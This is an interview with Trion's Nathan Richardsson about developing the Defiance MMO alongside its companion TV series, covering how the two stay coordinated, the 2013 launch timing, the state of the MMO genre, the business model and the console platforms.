Q: What do you anticipate to be the biggest challenge of making an MMO that ties into an ongoing TV show?
Nathan Richardsson:That's living together. There is so much history and tradition to take into account for both parties, even just the different ways of producing the content. We have a lot of ideas, different ideas, wonderful ideas but they don't always fit. So it's picking and choosing and not everybody is always happy with that.
For Season 1, we're also doing a lot of things that have never been done before on this scale but already we're saying, "Hey, wouldn't this be cool," and we're all like, "Wohoo!" But we have to keep ourselves in line because it simply isn't possible yet. However, we have the luxury of moving that to Season 2 and prepare with enough lead time for the next batch of shenanigans, even changing how we produce things. As they say, one revolution at a time.
Q: How will you handle situations where doing what's right for the TV show and doing what's right for the game might be in conflict?
Nathan Richardsson:This has already happened and what we do is we look at the impact and timing. When the television show is airing, we have a lot of investment in a certain timeline and experience and there, we often chose to adapt to the TV show.
Outside that initial airing of the show, there is a lot more freedom in the timeline predominantly driven by the game which is now in a mode where it is determining what happens in season 2. In the end it's just like any relationship, you always try to have all parties be at the front all the time but sometimes, someone has to give and someone has to receive. Funny how the world works like that.
Q: It's especially common for MMOs to be delayed. How confident are you of hitting the April 2013 launch of the TV series?
Nathan Richardsson:This industry in general isn't exactly accustomed to fixed-date projects but I'm very confident as Defiance has already been in development for many years. We're in Alpha, we're running on PC, Xbox 360 and PlayStation 3 and about to enter our Beta period. We have a lot of levers to adjust scope on features and content and I believe that our challenge won't be hitting the date but making sure we hit the right levers so that we are on time and that it's a great experience. We have a plan, we have more and more visibility, and we have room to respond to change.
Q: If something happens to the show or the MMO, could one exist without the other?
"The 'massive' online genre is certainly not on the decline but I think the term 'MMO' very much is."
Richardsson, on the changing face of online gaming
Nathan Richardsson:Absolutely. Even though we have great plans and huge ambitions, we aren't ignorant of the investment we're both doing and the risks involved. Both can exist without the other since if you think about it, it's all an evolving timeline where us and players are affecting it in different ways. The fact that more-- or less--parties will be able to affect the timeline is built into the strategy. So, mildly insane, certainly. Oblivious, no. Well … mostly, no.
Q: So this is a world where St. Louis is full of character-driven drama, but San Francisco is home to nothing but gangs of heavily armed people shooting each other endlessly. How can you make these two scenarios feel like they fit together tonally?
Nathan Richardsson:It's actually an integral part of them fitting together that they are in different locations. On one end, you have the new frontier where San Francisco is kind of the Wild West while St. Louis is a more established township and the foundation for the future. Part of the intention was also to have freedom of creativity for the players and the storyline respectively, especially when we move forward and expand the game to new areas, which we'll be doing regularly all year. We didn't want to constrain ourselves from the beginning. It sounded like a good idea at the time.
Q: The Old Republic switched business models in a hurry and Mists of Pandaria became the first World of Warcraft expansion to see declining sales from its predecessor. Is the MMO genre on the decline?
Nathan Richardsson:I think it's very dangerous for us as an industry to look at those examples alone. They are very different and distinct in their nature and we could name other which simply outright failed but I wouldn't put it down to business models alone. They all had the choice to do things differently. The "massive" online genre is certainly not on the decline but I think the term "MMO" very much is. It's getting less and less used, there is a certain stigma around it and from that perspective, you would probably associate very strongly the Old Republic and World of Warcraft with the more traditional "pure subscriber MMO". But just look at the new genres popping up which are absolutely massive, they just aren't that traditional RPG-esque persons in metal tights that walk around searching for happy endings.
That being said, I don't think anybody would mind having the sales of Mists or the opportunities of being Star Wars but I think there is a bigger picture here which people are missing and that is that the "pure play" isn't working anymore and people have to differentiate. And that means creating the game, the service, the distribution, the operation, the business model … everything, together, not as afterthoughts.
"The 'pure play' isn't working anymore and people have to differentiate."
Richardsson, on the need to focus on more than just the game.
Q: What business model will the Defiance MMO use?
Nathan Richardsson:We'll be providing a number of choices for the customers so you choose if and how you pay for things. Exactly in what manner remains to be seen as we're still changing some factors and responding to feedback. It's going to be a hybrid business model though, that much is certain.
Q: Defiance was announced as coming to the Xbox 360, PS3, and PC. Given where we are in the console life cycle, the difficulty of making an MMO at all, and the atrocious track record of MMOs announced but never actually arriving on consoles, why does it make sense to target the 360 and PS3 for this?
Nathan Richardsson:So, besides being mildly insane and loving a challenge, I think Trion decided early on that it wanted to crack the nut of "massively multiplayer" on consoles. A lot of companies are trying and we believe the one that gets it will open up for a lot of new opportunities on console in general.
The life cycle in itself isn't a problem. I can easily see us creating clients for the new consoles that simply connect to the same universe and play on. For us, this is more mediums, more platforms, and simply allows for expanding on the Defiance experience.